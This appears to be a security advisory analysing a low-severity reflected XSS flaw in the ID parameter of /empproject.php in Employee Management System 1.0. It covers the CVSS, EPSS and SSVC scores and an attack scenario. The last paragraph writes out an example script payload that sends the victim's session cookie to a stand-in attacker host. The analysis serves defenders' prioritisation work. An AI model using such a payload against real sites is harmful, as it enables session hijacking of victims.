Employee Management System EUVD-2026-31626

Exploitation requires that a victim user click or load a crafted URL - user interaction is mandatory (UI:P in the CVSS 4.0 vector), meaning fully automated, one-click-free exploitation is not possible. No authentication is required from the attacker (PR:N), so any remote party can craft the malicious link. The vulnerable parameter is ID within the endpoint /empproject.php; exploitation is contingent on this endpoint being network-accessible. No special application configuration or non-default feature flags are mentioned as prerequisites. Limiting factors include: mandatory victim interaction (social engineering required), scope is limited to the application's own origin (SC:N/SI:N - no cross-origin impact confirmed), and impact is restricted to limited integrity effects (VI:L) with no confidentiality or availability impact on the vulnerable system itself.

The CVSS 4.0 score of 2.1 reflects a genuinely low-severity finding: the attack vector is network (AV:N), complexity is low (AC:L), no privileges are required (PR:N), but user interaction is mandatory (UI:P), and the confidentiality and availability impacts are none (VC:N/VA:N), with only limited integrity impact (VI:L). The EPSS score of 0.03% at the 10th percentile corroborates that mass exploitation is highly unlikely. SSVC assessment confirms the vulnerability is not automatable and carries only partial technical impact, consistent with a reflected XSS that requires social engineering to trigger. However, a POC is publicly available on GitHub, which lowers the skill threshold for targeted attacks such as session hijacking or credential phishing against specific users. There is no conflict between data sources - all signals converge on a low-priority, targeted-risk profile. This is not a high-priority remediation item for most organizations but warrants attention in environments where the application handles sensitive employee data.

An attacker identifies a deployment of Employee Management System 1.0, crafts a URL targeting /empproject.php with a malicious JavaScript payload injected into the ID parameter (e.g., ID=<script>document.location='https://attacker.com/?c='+document.cookie</script>), and delivers this URL to a target employee via phishing email or message. When the victim clicks the link and their browser loads the page, the injected script executes in the application's origin context, allowing the attacker to exfiltrate session cookies or perform actions on behalf of the victim. A public POC on GitHub documents this technique, making reproduction straightforward for low-skilled attackers.